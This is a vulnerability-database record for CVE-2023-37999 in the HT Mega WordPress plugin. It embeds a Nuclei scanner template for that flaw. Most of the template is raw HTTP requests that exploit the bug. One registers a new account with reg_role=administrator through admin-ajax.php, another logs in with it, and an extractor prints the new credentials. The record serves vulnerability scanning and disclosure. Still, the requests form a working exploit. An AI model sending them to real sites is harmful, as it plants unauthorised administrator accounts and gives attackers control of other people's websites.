{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-37999/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-37999/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-37999/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-37999/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-37999/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-37999"},"sightings":{"href":"/api/v1/sightings/cve-2023-37999"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-37999.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-37999\n\ninfo:\n  name: HT Mega – Absolute Addons for Elementor <= 2.2.0 - Missing Authorization to Privilege Escalation\n  author: daffainfo\n  severity: critical\n  description: |\n    The HT Mega plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.2.0. This is due to missing validation of the reg_role parameter on the htmega_ajax_register function. This makes it possible for unauthenticated attackers to create administrator accounts.\n  impact: |\n    Attackers can escalate privileges, gaining unauthorized access to restricted functionalities or data.\n  remediation: |\n    Update to the latest version of HT Mega to address the privilege management issue.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ht-mega-for-elementor/ht-mega-absolute-addons-for-elementor-220-missing-authorization-to-privilege-escalation\n    - https://plugins.trac.wordpress.org/changeset/2934204/ht-mega-for-elementor/trunk/includes/helper-function.php?contextall=1&old=2899662&old_path=%2Fht-mega-for-elementor%2Ftrunk%2Fincludes%2Fhelper-function.php\n    - https://patchstack.com/database/vulnerability/ht-mega-for-elementor/wordpress-ht-mega-absolute-addons-for-elementor-plugin-2-2-0-unauthenticated-privilege-escalation-vulnerability?_s_id=cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-37999\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-37999\n    cwe-id: CWE-269\n    epss-score: 0.03349\n    epss-percentile: 0.88203\n    cpe: cpe:2.3:a:hasthemes:ht_mega:*:*:*:*:free:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: hasthemes\n    product: ht_mega\n    framework: wordpress\n    publicwww-query: \"/wp-content/plugins/ht-mega-for-elementor\"\n  tags: cve,cve2023,wordpress,wp,wp-plugin,hasthemes,ht_mega,vkev,ht-mega-for-elementor,vuln\n\nvariables:\n  username: \"{{rand_base(6)}}\"\n  password: \"{{rand_base(8)}}\"\n  email: \"{{randstr}}@{{rand_base(5)}}.com\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=htmega_ajax_register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        reg_name={{username}}&reg_password={{password}}&reg_email={{email}}&reg_role=administrator\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body,\"Successfully Register\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Login\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(header,\"wordpress_logged_in\", \"/wp-admin\")'\n          - 'status_code == 302'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"Username: \" + username + \". Password: \"+ password'\n# digest: 490a00463044022078ef90bffc9c7e3e32eaa80cca21721b467ae7e95d9decc6f42ac766f6665de40220369b291dfdb17f0bb174be9ecbcf30c930c1a004900f1938ee3d96c6f907183e:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-37999"}